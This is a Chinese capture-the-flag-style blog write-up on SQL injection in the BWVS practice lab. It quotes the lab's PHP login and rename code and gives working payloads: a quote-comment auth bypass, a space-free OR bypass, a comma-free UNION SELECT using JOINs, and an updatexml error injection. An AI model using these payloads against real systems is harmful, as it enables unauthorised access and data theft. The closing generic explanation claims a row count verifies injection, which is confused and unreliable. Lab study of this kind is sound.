BWVS-SQL联合查询注入

0x00 联合查询注入

联合查询注入指的是可以利用union select语句去进行sql注入的一种方法。
但是要记得,联合查询注入需要有前端回显,并且要找到回显点,常见用的方法就是order by来判断最大的列数。
作者提供的链接均失败了。。。 不过还是学习巩固了一翻


0x01 漏洞位置:/user/logCheck.php

一开始就坑爹,写的这两个位置,然后不能直接访问,先说logCheck.php吧,这个页面其实是在登陆页面login.php的,当提交到用户名和密码的时候就会把信息提交到logCheck.php
在这里插入图片描述
还是POST方式的,burpsuite弄起来,搞了半天,我擦,还有WAF

function login_waf($log_name){
    $black_str = "/(and|or|union|select|sleep|substr|order|order|by|where|from|rand|exp|updatexml|insert|update|dorp|delete|[,]|[\s]|[|]|[&])/";
    $log_name = preg_replace($black_str, "",$log_name);
    if(preg_match($black_str, $log_name)){
            $log_name = login_waf($log_name);
                    return $log_name;
            }
    return $log_name;
}

从这能看出来,做了循环的过滤关键字,双写不可能绕过了,但是没有区别大小写,可以大小写绕过,直接看语句吧。

<?php
include_once('../bwvs_config/sys_config.php');
if(isset($_POST['submit'])){
         if(!empty($_POST['user']) && !empty($_POST['pass'])){
                $clean_name = login_waf($_POST['user']);

                $clean_pass = login_waf($_POST['pass']);

        $sql = "SELECT * FROM dwvs_user_message WHERE DWVS_user_name ="."'"."$clean_name"."'"." AND DWVS_user_passwd="."'".md5("$clean_pass")."'";

        $data = mysqli_query($connect, $sql) or die('Mysql Error!!');
                mysqli_close($connect);
                if(mysqli_num_rows($data) == 1)
                {
                         $row = mysqli_fetch_array($data);
                          $_SESSION['user_id'] = $row['DWVS_user_id'];
                                  $_SESSION['user_name'] = $row['DWVS_user_name'];
                                  if(!empty($row['DWVS_user_favicon']))
                                  {
                                        $_SESSION['user_favicon'] = $row['DWVS_user_favicon'];
                                  }else
                                  {
                                        $rand_num = rand(1,4);
                                        $user_favicon = "../favicon/"."$rand_num".".jpg";
                                        $_SESSION['user_favicon'] = $user_favicon;
                                  }
                                header('Location: user.php');
                }else{
                                $_SESSION['login_error'] = 'Error';
                                header('Location: login.php');
                                }
                }else{
                                $_SESSION['login_error'] = 'Error';
                                header('Location: login.php');
                                }

}else
{
        not_find($_SERVER['PHP_SELF']);

用户名和密码都经过了WAF,语句是拿单引号闭合的。admin'#就可以直接进入后台,这里要注意的是字符里面有个\s,这个玩意是空白字符,也就是说空格也被过滤了,,也被过滤了,如果不知道admin,这样也可以进入后台a'/**/OR/**/1/**/lIMit/**/1/**/oFFset/**/0#
在这里插入图片描述
这还联合查询注入呢,不玩了不玩了,目前水平就感觉盲注还可以实现,骗人的鬼。。。
哈哈,我错了,我错了,前几天刚刚开始玩被这个靶场搞得有点上头,其实,被过滤了,还是可以做联合查询注入的,wooyun里面有方法,大家可以看具体可以看DVWA No [Comma] Sqli,于是构造了这样的一个payload。。。

-admin'/**/Union/**/Select/**/*/**/From(Select/**/Database())a/**/Join/**/(Select/**/Database())b/**/Join/**/(Select/**/Database())c/**/Join/**/(Select/**/Database())d/**/Join/**/(Select/**/Database())e #

在这里插入图片描述
哈哈,成了,作者牛逼!


0x02 漏洞位置:/user/updateName.php

改名字的地方,感觉坑多,我还是直接看源码吧。。。

<?php
include_once('../bwvs_config/sys_config.php');
if(isset($_POST['submit']) && !empty($_POST['user_name'])) {
        $clean_username = select_waf1($_POST['user_name']);
        $clean_username = XSS_reg($clean_username);
        $clean_user_id = clear_all($_POST['u_id']);
if(!is_numeric($clean_user_id))
 {
                $_SESSION['Uid_error'] = '非法的用户ID';
                header('Location: edit.php');
  }else{
        $sql = "SELECT * FROM dwvs_user_message WHERE DWVS_user_name ="."'"."$clean_username"."'";
    $data = mysqli_query($connect, $sql) or die(mysqli_error($connect));
        if(mysqli_num_rows($data) == 1){
                $_SESSION['update_error'] = 'error';
                header('Location: edit.php');
        }else{
        $sql_Up = "UPDATE dwvs_user_message SET DWVS_user_name = '$clean_username' WHERE DWVS_user_id = '$clean_user_id'";
        mysqli_query($connect,$sql_Up) or die(mysqli_error($connect));
        mysqli_close($connect);
        $_SESSION['user_name'] = $clean_username;
        header('Location: edit.php');
        }
  }
}else{
        not_find($_SERVER['PHP_SELF']);
}
?>

这尼玛怎么都不像可以联合查询注入的,GDX ,玩我呢。。。
在这里插入图片描述
去看了下waf代码,呵呵,太难了。。。
在这里插入图片描述
11111111' and updatexml(1,concat(0x7e,database(),0x7e),0) #我这水平就审计到了这个玩意,这真的能联合注入吗。。。。
在这里插入图片描述


0x03 比较明显的漏洞 /search.php

这个才是真正的联合查询注入。。。
感觉是我跟作者的水平差距水平太大了,所以搞不出来对应的漏洞吧。。。。。。

注入攻击的目的是构造一组SQL语句,使得应用程序执行恶意用户构造的SQL语句,从而获得非法访问或窃取敏感信息。通过联合查询注入,攻击者可以利用UNION关键字将查询结果与恶意查询语句组合在一起,从而获取应用程序执行的数据库中的数据。 在使用联合查询注入的过程中,可以通过判断返回结果集的列数来验证注入是否成功。如果返回结果集的列数与攻击者预期的列数不一致,就说明注入失败。 以下是一个示例: 假设有一个查询语句如下: ``` SELECT column1, column2 FROM table1 WHERE id = '1'; ``` 攻击者可以构造一个恶意的查询语句,如下所示: ``` 1' UNION SELECT column_name, null FROM information_schema.columns WHERE table_name = 'table1' -- ``` 这个查询语句会和原始查询语句组合在一起,从而获取table1表的列名信息。注意,这里使用了'--'注释符,以防止在查询语句中出现语法错误。 如果注入成功,攻击者可以通过查询结果集的列数来验证注入是否成功。例如,可以使用以下语句获取结果集的列数: ``` SELECT count(*) FROM ( SELECT column1, column2 FROM table1 WHERE id = '1' UNION SELECT column_name, null FROM information_schema.columns WHERE table_name = 'table1' ) AS combined_results; ``` 如果返回的结果是2,说明注入成功,因为结果集中包含了2列数据,分别是column1和column2。如果返回的结果不是2,就说明注入失败。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值